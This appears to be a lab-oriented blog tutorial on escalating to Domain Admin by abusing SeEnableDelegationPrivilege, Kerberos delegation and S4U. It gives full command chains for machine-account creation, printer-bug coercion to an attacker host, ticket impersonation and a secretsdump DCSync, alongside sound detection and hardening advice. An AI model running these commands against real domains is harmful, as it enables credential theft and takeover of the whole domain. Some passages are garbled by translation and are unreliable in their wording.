windows

SeEnableDelegationPrivilege: Privisce AD, S4U and delegation

SeEnableDelegationPrivilege: Privisce AD, S4U and delegation

What is SeEnableDelegationPrivilege, privilege escalation, unconstrained/constrained/RBCD variants, S4U2Self-S4U2Proxy, errors, detection and defense.

  • Posted on 2026-07-18
  • Reading time: 12 min

SeEnableDelegationPrivilege in Active Directory: Complete guide to Kerberos, S4U, and privesc delegation #

If you're running an Active Directory lab (Hack The Box, VulnLab, or an authorized environment) and BloodHound shows you that your user has the SeEnableDelegationPrivilege privilege , you might be wondering what exactly it is and whether it's exploitable. In short: it's a Windows privilege that controls who, in the domain, can impersonate a user from another account to a service—a mechanism called Kerberos delegation, intended for legitimate uses but a very powerful privelege target in the wrong hands.

SeEnableDelegationPrivilege is one of those Active Directory privileges that often seem secondary in BloodHound, but in an authorized lab, can become the entry point for a very powerful abuse chain. In this guide, we'll clearly and practically see when it's enough on its own and when another tool is needed, how unconstrained delegation, constrained delegation, and RBCD actually work, why S4U2Self and S4U2Proxy are the heart of the technique, what the values ​​mean, and how they work. userAccountControl that appear in the tools, and which errors, logs and signals to use to recognize it also on the defense side.

Two practical scenarios, two different paths — don't confuse them. Scenario 1, unconstrained delegation: You use this when you can create a new machine account (or control an existing one) AND you can force a victim to authenticate to you—louder, requires coercion. Scenario 2, constrained delegation: You use this when you have GenericAll/GenericWrite on an existing machine account, without having to wait or force anyone—more direct, and this is the most common case in labs. If you don't know which one you need, skip to the section Comparison of the three delegation variants before launching any command.

What is SeEnableDelegationPrivilege? #

This is a Windows user right, assigned by default only to Domain Administrators. The holder decides which accounts (users or computers) are authorized to "impersonate" other users to specific domain services—a mechanism known as Kerberos Delegation.

Typical legitimate scenario: A user authenticates to a web server (level 1), and that server needs to access a database (level 2) as if it were the user , without the user re-entering their credentials. A way is needed for the web server to "pass" as the user to the database—this is delegation.

The problem: who has SeEnableDelegationPrivilege can configure any accounts to do this, including accounts he controls himself. It becomes a direct shortcut to the Domain Admin.

Real prerequisites: when it's enough and when it's not #

This is the point that almost no article clarifies well. SeEnableDelegationPrivilege it gives you alone one power: the ability to set delegation attributes (msDS-AllowedToDelegateTo, the flags of userAccountControl) on an AD object. This does not automatically give you control of an account to apply them to.

To complete the attack you also need one of these :

  • For the unconstrained way: the ability to create a new machine account (SeMachineAccountPrivilege more MachineAccountQuota > 0), or control of an existing computer/user account
  • For the constrained route: GenericAll o GenericWrite on an account (user or computer) for which you can already manage credentials, or direct possession of credentials/hashes of an existing account

Always check with BloodHound what you really control: look for edge of ACL abuse including GenericAll/GenericWrite towards Computer objects, starting from your compromised user, and check if whoami /priv also shows SeMachineAccountPrivilege. It SeEnableDelegationPrivilege It's the only privilege you have, without any other control, the road is blocked — you must first find a way to gain that control (e.g., password reset via Helpdesk group, ACL abuse, etc.).

Comparison of the three delegation variants #

VariantDo you need a new machine account?SPN required?RiskWhen to use itMain limitations
UnconstrainedYes (or an existing compromised account, user or computer)No on the delegation attribute, but you need an SPN pointing to your host for authentication to arriveVery high — theft of ANY TGTIf you can also force a victim to authenticate (coercion)Blocked if MachineAccountQuota=0 and you don't already have an account to reuse; coercion is needed (PrinterBug/Coercer/PetitPotam)
ConstrainedNo, reuse an existing account that you have control over.Yes, I specify in msDS-AllowedToDelegateToTall but focusedMost common case in labs: you have GenericAll/GenericWrite on a machine accountIn theory only to the authorized SPN, but the service name in the ticket is client-side editable text (see SPN section below), so it often extends to other services on the same host
RBCD (Resource-Based)Yes, if you need an “attacker” accountYes, but configured on the target sideHighWhen you check the attribute msDS-AllowedToActOnBehalfOfOtherIdentity of the target (not needed) SeEnableDelegationPrivilege)require MachineAccountQuota > 0 to create an account, or an existing account to use as an “attacker”

SeEnableDelegationPrivilege It is only involved in the first two variants — with RBCD the configuration is on the target service side, and the write permission on that single attribute is sufficient, this privilege is not needed at the domain level.

List accounts already configured for delegation #

Before setting anything up yourself, it's worth checking whether any accounts in the domain are already set up for delegation (often by mistake or due to legacy configurations). The quickest way is to collect data with SharpHound followed by analysis in BloodHound , but there are also manual approaches using Impacket:

bash
findDelegation.py dominio.local/hackita:'Hackita123'

Or via PowerShell, filtering on the attribute that indicates unconstrained delegation:

powershell
Get-DomainUser -LdapFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' -Properties serviceprincipalname

If you already find an account with this flag enabled and you have the credentials, you can skip directly to the coercion phase, without having to configure it from scratch.

Complete practical example: Unconstrained delegation #

This scenario requires both SeEnableDelegationPrivilege both the ability to control a computer account (ideally SeMachineAccountPrivilege to create a new, clean one).

Windows Path (PowerShell/Powermad) #

1. Create a machine account (requires MachineAccountQuota > 0):

powershell
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount HACKITA -Password $(ConvertTo-SecureString 'Hackita123' -AsPlainText -Force)

2. Enable unconstrained delegation on the newly created account, adding the flags as seen above (524288 + 4096 = 528384):

powershell
Set-MachineAccountAttribute -MachineAccount HACKITA -Attribute useraccountcontrol -Value 528384

3. Add a plausible SPN , to make the account appear to be a legitimate service:

powershell
Set-MachineAccountAttribute -MachineAccount HACKITA -Attribute ServicePrincipalName -Value HTTP/HACKITA.dominio.local -Append

4. Register a DNS record that points that hostname to your attacker's machine:

bash
dnstool.py -u 'dominio.local\HACKITA$' -p 'Hackita123' -r HACKITA.dominio.local -d <IP-ATTACCANTE> -a add <IP-DC> -dns-ip <IP-DC>

Give the record a few minutes to propagate, then check with nslookup HACKITA.dominio.local <IP-DC>.

5. Listen to krbrelayx, passing it the NT hash of the HACKITA$ account — since you set the password yourself in step 1, just calculate it from the one with pypykatz crypto nt 'Hackita123':

bash
krbrelayx.py -hashes :<HASH-NT-DI-HACKITA$>

6. Force the Domain Controller to authenticate to your fake host , with the PrinterBug (remote spooling service abuse):

bash
printerbug.py 'dominio.local/HACKITA$:Hackita123'@<IP-DC> HACKITA.dominio.local

If the DC connects, krbrelayx capture and save your TGT to a file .ccache (Eg. DC$@DOMINIO.LOCAL_krbtgt@DOMINIO.LOCAL.ccache).

7. Use that TGT for a full DCSync:

bash
KRB5CCNAME='DC$@DOMINIO.LOCAL_krbtgt@DOMINIO.LOCAL.ccache' secretsdump.py -k -no-pass dominio.local -just-dc

This is where the entire NTDS.dit comes out: Domain Admin reached.

Linux Path (Impacket / bloodyAD) #

Same logic, different tools — useful when working only from Kali without Evil-WinRM. To modify the attributes, we'll use bloodyAD, which manages the sum of the flags on its own userAccountControl instead of having them calculated by hand:

bash
# 1) Crea l'account macchina
addcomputer.py dominio.local/hackita:'Hackita123' -computer-name hackita -computer-pass 'Hackita123'

# 2) Imposta i flag di delega non vincolata via bloodyAD (uno alla volta, si sommano da soli)
bloodyAD -u 'hackita' -p 'Hackita123' --host dc.dominio.local -d dominio.local add uac 'hackita$' -f TRUSTED_FOR_DELEGATION
bloodyAD -u 'hackita' -p 'Hackita123' --host dc.dominio.local -d dominio.local add uac 'hackita$' -f WORKSTATION_TRUST_ACCOUNT

# 3) Aggiungi gli SPN HTTP e CIFS al computer appena creato
addspn.py -u 'dominio.local\hackita' -p 'Hackita123' -s 'HTTP/hackita.dominio.local' -t 'hackita$' -dc-ip <IP-DC> dc.dominio.local
addspn.py -u 'dominio.local\hackita' -p 'Hackita123' -s 'CIFS/hackita.dominio.local' -t 'hackita$' -dc-ip <IP-DC> dc.dominio.local

# 4) Metti in ascolto krbrelayx con l'hash dell'account hackita$
krbrelayx.py -hashes :<HASH-NT>

# 5) Coercizione (printerbug o, in alternativa, il tool "coercer" che prova più tecniche insieme)
printerbug.py 'dominio.local/hackita$:Hackita123'@<IP-DC> hackita.dominio.local

# 6) DCSync mirato su un singolo utente, usando il TGT catturato
KRB5CCNAME='DC$@DOMINIO.LOCAL_krbtgt@DOMINIO.LOCAL.ccache' secretsdump.py -k -no-pass dominio.local -just-dc-user Administrator

A note on computer accounts vs. user accounts: a computer account can add its own SPNs (that's why in the examples above addspn works without problems). An account user normal, however, cannot change its own servicePrincipalName — if the unconstrained delegation account you compromised is a user, you need a second account with GenericAll/GenericWrite on that user to assign the correct SPN. This is a distinction that almost no guide emphasizes, but it completely changes the feasibility of the attack depending on the type of account you have.

SPN, in short: the foundation you need to understand everything else #

Un SPN (Service Principal Name) It is simply the unique identifier by which Kerberos recognizes a service on a host — in the format servizio/hostname (Eg. cifs/dc.dominio.local, ldap/dc.dominio.local, http/srv01.dominio.local). When you request a ticket "for the DC's CIFS service," you're requesting a ticket for that specific SPN. In the unconstrained attack above, the reason you need an SPN pointing to YOUR host is so the victim (the DC) can "believe" they're talking to a legitimate service when in reality they're handing you their own TGT.

Key point also for the restricted delegation: The service name inside a service ticket (TGS) is clear text, not protected to prevent it from being modified client-side in some tools. This is why you can often get a ticket for cifs/dc.dominio.local and then request a modified one for ldap/ o http/ on the same host, even if in msDS-AllowedToDelegateTo you had only authorized cifs.

Why unconstrained delegation is often not practicable #

If you don't already have a computer/user account you can apply to TRUSTED_FOR_DELEGATION, the first instinct would be to create a new one. The problem: creating a new machine account requires quota (MachineAccountQuota), which in many modern environments is set to 0.

bash
netexec ldap dc.dominio.local -u hackita -p 'Hackita123' -M maq

If the result is MachineAccountQuota: 0 and you don't already have control of any existing accounts, that option is closed — you switch to restricted delegation.

The practical way: restricted delegation on an existing account #

Typical scenario: BloodHound shows that your user has SeEnableDelegationPrivilege at the domain level, and in addition has GenericAll on an existing machine account — let's call it HACKITA$.

Step 1 — Enable the delegation flag on the machine account #

powershell
Set-ADAccountControl -Identity "HACKITA$" -TrustedToAuthForDelegation $True

Set the flag TRUSTED_TO_AUTH_FOR_DELEGATION: “this account can impersonate other users towards the services that I will allow it to reach, even starting from a non-Kerberos authentication (protocol transition)”.

Important note : There is also a variant called “Kerberos only,” without protocol transition—in that case, this flag is NOT set, and S4U2Self does not produce a “forwardable” ticket on its own. In the vast majority of walkthroughs and CTFs, the variant with protocol transition is the one you'll find.

Step 2 — Define which service it can delegate to #

powershell
Set-ADObject -Identity "CN=HACKITA,CN=COMPUTERS,DC=DOMINIO,DC=LOCAL" -Add @{"msDS-AllowedToDelegateTo"="cifs/dc.dominio.local"}

cifs/ (SMB protocol) towards the DC opens the way to secretsdump further on. But that's not the only useful option:

  • ldap/dc.dominio.local → LDAP access with impersonated user privileges, useful for direct queries or, if you impersonate an account with replication permissions, even DCSync via LDAP
  • host/dc.dominio.local → opens access to a wider range of WMI/scheduled task operations
  • http/dc.dominio.local → useful if the target exposes web services/WinRM management
  • wsman/dc.dominio.local o host/ combined with the SPN trick (see above) → access PowerShell Remoting (Evil-WinRM/WinRM) directly as an impersonated user

Step 3 — Take control of the machine account #

bash
netexec smb dc.dominio.local -u hackita -p 'Hackita123' -M change-password -o USER='HACKITA$' NEWPASS='Hackita123'

Step 4 — The Heart of the Attack: S4U2Self and S4U2Proxy, Explained in Depth #

Here comes the part that few people explain very well.

Why do we need a TGT, not just a password? In KerberosEvery service ticket request (TGS) starts with a valid TGT. The TGT proves "this account was successfully authenticated," the TGS proves "this account is authorized for this specific service." getST.py It does both steps for you: first it gets a TGT for the compromised machine account, then it uses it for the rest of the chain.

S4U2Self : Allows your machine account to obtain a service ticket for itself , on behalf of another user—even without that user ever authenticating. The KDC (Domain Controller) trusts the username you provide in this request: the Administrator password isn't needed, just the name. The result is a forwardable ticket (thanks to the flag set in Step 1) that shows "Administrator spoke to me."

Because S4U2Self alone isn't enough : that ticket only proves that your machine account "knows" the Administrator—it authenticates you as your machine account to itself, it doesn't give you access to anything else. The next step is needed to turn it into something useful.

S4U2Proxy: takes that forwardable ticket obtained with S4U2Self and exchanges it with a second ticket, valid for the service you authorized in msDS-AllowedToDelegateToHere the KDC controls explicitly that attribute: if the requested service is not in the list, the request fails with KDC_ERR_BADOPTIONThis is why S4U2Proxy “depends” on that attribute — it is the gate that decides whether delegation is allowed or not.

Practical control with Impacket:

bash
getST.py 'dominio.local/HACKITA$:Hackita123' -spn cifs/dc.dominio.local -impersonate administrator

Get a ticket saved to a file .ccache — in the eyes of the DC CIFS service, that ticket È the Administrator.

If you impersonate administrator fails with KDC_ERR_BADOPTION even with everything configured well: almost always means that the Administrator account is protected — flag NOT_DELEGATED (“account is sensitive and cannot be delegated”) active, or member of the group Protected UsersThis explicitly tells the DC "this user should never appear as an impersonator in an S4U ticket," regardless of how well the delegation is configured. This isn't your fault—it's a deliberate protection for that specific account, and you'll often find it enabled by default on newer machines.

In that case, the road remains open: instead of impersonating administrator, impersonates dc — that is, the machine account of the Domain Controller itself (DC$), which normally does not have that protection:

bash
getST.py 'dominio.local/HACKITA$:Hackita123' -spn ldap/dc.dominio.local -impersonate dc

A Domain Controller machine account naturally has replication permissions on the domain — so an LDAP ticket obtained by impersonating it is sufficient for a full DCSync, exactly as if you had successfully impersonated Administrator. Note that a msDS-AllowedToDelegateTo to ldap/, Not cifs/, because DCSync via LDAP goes through the Active Directory replication protocol. This is exactly the scenario of the HTB Redelegate machine — you can find the Full walkthrough of HTB Redelegate.

Step 5 — Use the ticket to dump the credentials #

bash
KRB5CCNAME=administrator@cifs_dc.dominio.local@DOMINIO.LOCAL.ccache secretsdump.py -k -no-pass dc.dominio.local

From here, the entire NTDS.dit file is output—NTLM hashes and Kerberos keys for every account, including the Administrator, via secretsdump and more generally credential dumping . From there, direct authentication with wmiexec or Evil-WinRM using the hash: Domain Admin reached.

UserAccountControl Numbers, Explained (Finally) #

The numeric values ​​you see in tools like Powermad (Set-MachineAccountAttribute ... useraccountcontrol -Value 528384) are not by chance: they are sums of binary flags, each representing a characteristic of the account.

FlagDecimal valueMeaning
WORKSTATION_TRUST_ACCOUNT4096The account is a normal computer joined to the domain
TRUSTED_FOR_DELEGATION524288UNCONTRIBUTED DELEGATION ENABLED
TRUSTED_TO_AUTH_FOR_DELEGATION16777216Constrained delegation with protocol transition enabled
NOT_DELEGATED1048576The account is protected: it can NEVER be impersonated by proxy (see defense section)

524288 + 4096 = 528384 — that is, “normal computer account” + “active unconstrained delegation,” added together.

For the restricted delegation via Set-ADAccountControlPowerShell handles the sum for you. But with more direct tools (Powermad, bloodyAD, LDAP raw) and manual editing of useraccountcontrol, you have to add the flags yourself (Or apply them one at a time, like bloodyAD does, which automatically adds them to existing flags.) Otherwise, you risk overwriting an existing flag instead of adding it. This is the most common error, and it produces confusing Kerberos symptoms downstream.

Troubleshooting: Common Mistakes #

ErrorProbable causeQuick checkFix
KDC_ERR_BADOPTION in S4U2ProxymsDS-AllowedToDelegateTo not set or incorrect/non-existent SPNGet-ADComputer HACKITA$ -Properties msDS-AllowedToDelegateToReset the attribute with the correct and exact SPN
KDC_ERR_BADOPTION with the message “SPN not delegable”Manca TRUSTED_TO_AUTH_FOR_DELEGATION on the accountGet-ADComputer HACKITA$ -Properties userAccountControlReapply Set-ADAccountControl -TrustedToAuthForDelegation $True, or add the flags well if you use manual numeric values
rpc_s_access_denied during printerbugNormal in many patched versions: spooler coercion may fail silently but still trigger backconnectCheck anyway if krbrelayx received a connectionIf nothing comes, try coercer (try multiple PetitPotam/DFSCoerce techniques together) instead of just the printerbug
KRB_AP_ERR_SKEWTime difference between your machine and the DC (Kerberos tolerates a few minutes)Compare date local with DC timesudo ntpdate -u <ip-dc> before any attempt
KRB_AP_ERR_MODIFIEDOften an indirect consequence of unresolved clock skew, or a corrupted ticketRelaunch after resynchronizing the timeResync and try again; if it persists, regenerate the ticket from scratch.
MachineAccountQuota: 0 while trying to create a new accountQuota disabled by policynetexec ldap dc -u hackita -p 'Hackita123' -M maqDon't create a new account — use an existing account you have GenericAll/GenericWrite
STATUS_ACCESS_DENIED su secretsdump despite the S4U ticketThe impersonated user does not actually have replication permissions (e.g., not Domain Admin)Check the impersonated user's actual permissions on BloodHoundImpersonate an account with real replication permissions, or use -just-dc-user for a single account

Detection and Defense (Blue Team) #

Anyone managing an Active Directory domain should monitor and restrict at multiple levels:

Surface area reduction

  • Assign SeEnableDelegationPrivilege to only the Tier-0 accounts that are actually necessary
  • Setting up MachineAccountQuota to 0 where it is not necessary to create self-service machine accounts
  • Mark privileged accounts (Domain Admins, Tier-0 service accounts) with the flag “Account is sensitive and cannot be delegated” (NOT_DELEGATED, value 1048576) and insert them into the group Protected Users — this prevents S4U2Self from producing a forwardable ticket for them, breaking the chain at the origin

Monitoring and detection

  • Event ID 4704: assigning a sensitive user right. A minimal detection rule (also used by Elastic Security) is trivial to write: event.code:4704 and winlog.event_data.PrivilegeList:"SeEnableDelegationPrivilege" — any SIEM can implement it in minutes
  • Event ID 4738 / 4742: modifying a user/computer account — check in particular for changes in msDS-AllowedToDelegateTo
  • Event ID 5136: modifying a directory object — useful for intercepting writes to msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD) or on delegation attributes
  • Event ID 4769Kerberos service ticket request — an S4U2Self is recognized when the information about the requesting account and the requested service match; a subsequent S4U2Proxy shows the “Transited Services” field filled in
  • Periodic auditing via BloodHound of existing delegation privileges in the domain, not just at initial setup

At the framework level, this technique maps to MITRE ATT&CK under Credential Access / Steal or Forge Kerberos Tickets (T1558) and Persistence / Account Manipulation (T1098) — useful if you are integrating detections into a system that classifies by tactics/techniques.

FAQ #

Is SeEnableDelegationPrivilege enough on its own to do privesc? No. You also need control (credentials, GenericAll/GenericWrite, or the ability to create a machine account) on at least one object to which the delegation configuration should be applied.

What is the main difference with RBCD? With classic constrained delegation, permissions are configured on the account that “delegates” (it is necessary SeEnableDelegationPrivilege). With RBCD, they are configured on the target service side (msDS-AllowedToActOnBehalfOfOtherIdentity), and this privilege is not needed at the domain level.

Why is MachineAccountQuota blocking the simplest path? Because "clean" unconstrained delegation usually requires you to create a new machine account to configure. If the quota is 0 and you don't already have an account to apply to, TRUSTED_FOR_DELEGATION, you are forced to reuse an existing controlled account, which often leads you straight to restricted delegation.

Why do I use cifs instead of ldap? cifs/ towards the DC gives you SMB access to the administrative shares, enough for secretsdump via DRSUAPI. ldap/ This is useful whether the target is a direct query or a DCSync-type attack via LDAP — it depends on what you want to do with the obtained ticket.

Does unconstrained delegation work across user accounts, not just computers? Yes, but with one important practical difference: a computer account can self-assign an SPN, a user account cannot. If the account with unconstrained delegation is a user, a second account with GenericAll/GenericWrite on it to be able to set the SPN needed to get the coercion.

Related techniques #

  • RBCD: same attack family but without the need for SeEnableDelegationPrivilege, useful when you directly control the target object
  • Computer account abuse via shadow credentials: an alternative to take control of a machine account when you have GenericWrite/GenericAll but you prefer a certificate instead of changing your password
  • DCSync: often the final step once you have obtained a ticket (or a stolen TGT) by impersonating an account with replication permissions

Conclusion #

SeEnableDelegationPrivilege It's one of those perks that on BloodHound seems harmless — it doesn't stand out like GenericAll on a DC. But also combined with just GenericAll/GenericWrite On a single existing account (or with the option to create a new one), it's a direct and silent route to Domain Admin, without cracking hashes or exploiting software vulnerabilities. Understanding S4U2Self and S4U2Proxy—and the logic behind the unconstrained variant—thoroughly, not just copying the command, is what makes the difference between executing an attack and also knowing how to diagnose it when something goes wrong.

Sources and further information #

#delegation #s4u #rbcd #constrained-delegation #unconstrained-delegation

leave a message

I'm not a robot